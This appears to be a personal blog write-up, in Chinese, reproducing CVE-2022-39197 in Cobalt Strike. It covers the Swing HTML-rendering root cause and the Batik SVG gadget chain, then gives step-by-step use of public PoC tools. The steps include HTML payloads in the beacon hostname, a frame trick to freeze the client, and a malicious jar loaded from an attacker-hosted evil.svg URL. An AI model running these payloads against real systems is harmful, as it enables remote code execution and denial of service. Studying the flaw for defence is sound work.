CVE-2022-39197 (CobaltStrike<=4.7)rce漏洞复现

  1. CVE-2022-39197 (CobaltStrike<=4.7)rce漏洞复现
  2. 利用条件
  3. 原理分析
    1. swing渲染
    2. objectview
    3. 利用链
  4. exp使用
    1. xss
    2. rce

CVE-2022-39197 (CobaltStrike<=4.7)rce漏洞复现

总结一下这个反制神洞,理解一下原理

利用条件

对面的CobaltStrike 版本小于4.7,开启swing渲染

原理分析

swing渲染

目前看来是swing(一种java GUI的库)自带的特性。看到没,文档里直接告诉我们一个事实:在内容的开头插入<html>标签后续的内容就会被格式化为html文档进行解析,也就是说支持html标签。在官方的文章中也已经写有如何使用swing渲染html

image-20221024161233213

现在进入jdk的rt.jar包进行分析(包含所有核心Java 运行环境的已编译calss文件)

image-20221024155730742

在swing中寻找答案(是上面的html文件夹,截错图了)

objectview

在其中的HTMLEditorKit.java文件中,有一个create方法,其中不同的标签会对应到创建不同的view。这里object标签创建了一个objectview。

现在看看object标签是什么。

我的代码中没有注释,这里我就用大佬的图片。

image-20221024173328434

这个objectview大体上就是可以实例化一个符合要求的类并且通过param进行参数传递!

后面看objectview的代码,说实话我的java并不是很强(又挖坑学java,今年要学的实在是太多了)

我就看看大佬对代码的解析吧。

image-20221024174126972

明显的反射调用并且实例化类,这里要注意的是他还加了个限制判断,也就是实例必须继承与Component,否则就抛出异常。这也大大限制了我们所能操作的范围。我们继续跟入setParameters看看是怎么传递参数的

image-20221024174224243

  1. classid传入需要实例化的类,类必须继承与Component
  2. 必须有无参构造方法,貌似是因为newinstant是调用的无参构造方法
  3. 必须存在一个setXXX方法的XXX属性
  4. setXXX方法的传参数必须是接受一个string类型的参数

利用链

这里我是看大佬文章直接拿到利用链的,感谢大佬(最新CS RCE(CVE-2022-39197)复现心得分享_mb627b50e21abf2的技术博客_51CTO博客)

org.apache.batik.swing.JSVGCanvas-->setURI

注意这里必须寻找的cs里面的类,jdk中没有可以利用的链子。

这个方法的功能是设置SVG图片的地址,远程加载SVG图片,再通过svg加载自己的恶意类。如果想按照ScriptEngineManager的方式转化为java代码来实现rce,在cs环境中是不行的,因为cs环境中没有需要的javascript相关的库。

等我java有成了来编写自己的工具,(一定

exp使用

xss

首先使用CobaltStrikeParser和木马分析出对面的url和publickey,我这里试了下我之前的免杀马,发现免杀马分析不出。不过我目前还不了解分析的原理,等学习完之后或许可以自己写一个分析脚本。(后面写文_再次挖坑)

这里借用的是其他师傅写的poc,分别是CobaltStrikeParser,CVE-2022-39197-POC。

首先用CobaltStrikeParser拿到其中的ip,port和密钥。

python3 parse_beacon_config.py beacon4.3_x64.exe --json

他会输出相关的内容

将Port、C2Server(记得加二级目录)、HttpPostUri进行拼接,这里变成:http://172.16.12.13:8080/visit.js/submit.php,记录下来

将PublicKey复制到一个txt文件中,注意去除前后的空格

分析出之后用f12团队大佬的工具CS_fakesubmit,将其中主机名改为<html><img src=http://10.10.11.2/1.png>即可实现xss反制。

<html>1<frame src=x>(这个是引入外部页面的标签,这样引入的外部html就不会受到限制了。)同样利用,frame就可以绕过长度限制,而且上线之后,对方的cs客户端非常非常非常卡,可以用来打ddos。

image-20221024153724925

dnslog

image-20221024154358887

如果payload是这样的话

<html><script>alert(1)</script>直接把客户端卡死了

但是有大佬说script标签是不生效的,可是我客户端确实卡死了。

rce

这里用的是外国大佬的exp简单讲下如何使用

1.拿到工具之后,首先在EvilJar\src\main\java中修改自己想要的java类中的payload。

2.然后在\EvilJar中执行命令,生成恶意的jar包mvn clean compile assembly:single

3.将生成好的EvilJar-1.0-jar-with-dependencies.jarEvilJar/target/移动到serve/

4.修改server\evil.svg中的attacker,将自己的恶意类和svg图片都放在这个服务器上面上面。

5.最后输入python3 cve-2022-39197.py beacon.exe http://10.10.10.2:8080/evil.svg

等对面点击Process List的时候就会自动加载你的恶意类了。

我也放一张截图庆祝一下

img

image-20221026194730868


转载请注明来源,欢迎对文章中的引用来源进行考证,欢迎指出任何有错误或不够清晰的表达。后续可能会有评论区,不过也可以在github联系我。